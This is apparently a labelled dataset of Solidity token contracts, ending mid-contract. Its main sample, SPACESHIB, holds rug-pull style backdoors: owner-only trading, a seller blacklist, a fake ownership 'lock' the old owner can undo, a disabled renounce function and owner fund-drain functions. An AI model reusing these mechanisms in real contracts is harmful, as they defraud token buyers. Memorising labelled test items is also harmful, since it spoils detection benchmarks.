function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IAirdrop {
function airdrop(address recipient, uint256 amount) external;
}
contract SPACESHIB is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = false;
bool public canTrade = false;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000000000000000000;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address public marketingWallet;
string private _name = "SpaceShib";
string private _symbol = "$SPACESHIB";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public marketingFeePercent = 25;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 2000000000000000000000000;
uint256 public numTokensSellToAddToLiquidity = 1000000000000000000000000;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
//IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); //Mainnet BSC
//IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); //Testnet BSC
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMarketingFeePercent(uint256 fee) public onlyOwner {
marketingFeePercent = fee;
}
function renouceContract(address walletAddress) public onlyOwner {
marketingWallet = walletAddress;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require(taxFee < 10, "Tax fee cannot be more than 10%");
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount > 6900, "Max Tx Amount cannot be less than 69 Million");
_maxTxAmount = maxTxAmount * 10**9;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million");
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function claimTokens () public onlyOwner {
// make sure we capture all BNB that may or may not be sent to this contract
payable(marketingWallet).transfer(address(this).balance);
}
function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function addBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function allowtrading()external onlyOwner() {
canTrade = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swapping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (amount > balanceOf(from) - 10**9) {
amount = balanceOf(from) - 10**9;
}
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from != uniswapV2Pair && to != uniswapV2Pair) {
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
// add the marketing wallet
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 marketingshare = newBalance.mul(marketingFeePercent).div(100);
payable(marketingWallet).transfer(marketingshare);
newBalance -= marketingshare;
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!canTrade){
require(sender == owner()); // only owner allowed to trade or add liquidity
}
if(botWallets[sender] || botWallets[recipient]){
require(botscantrade, "bots arent allowed to trade");
}
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
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pragma solidity ^0.4.18;
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LTKN is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
mapping (address => mapping (address => uint256)) internal allowed;
string public constant name = "LATINOKEN";
string public constant symbol = "LTKN";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 700000000 * (10 ** uint256(decimals));
function LTKN() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
} | True | [
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pragma solidity ^0.4.13; contract owned { address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract tokenRecipient { function receiveApproval(address from, uint256 value, address token, bytes extraData); }
contract token { /*Public variables of the token*/ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
function token(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
totalSupply = initialSupply; // Update total supply
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
decimals = decimalUnits; // Amount of decimals for display purposes
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] > _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Send `_value` tokens to `_to` from your account
/// @param _to The address of the recipient
/// @param _value the amount to send
function transfer(address _to, uint256 _value) {
_transfer(msg.sender, _to, _value);
}
/// @notice Send `_value` tokens to `_to` in behalf of `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value the amount to send
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require (_value < allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf
/// @param _spender The address authorized to spend
/// @param _value the max amount they can spend
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
/// @param _spender The address authorized to spend
/// @param _value the max amount they can spend
/// @param _extraData some extra information to send to the approved contract
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice Remove `_value` tokens from the system irreversibly
/// @param _value the amount of money to burn
function burn(uint256 _value) returns (bool success) {
require (balanceOf[msg.sender] > _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
contract INTToken is owned, token {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function INTToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] > _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
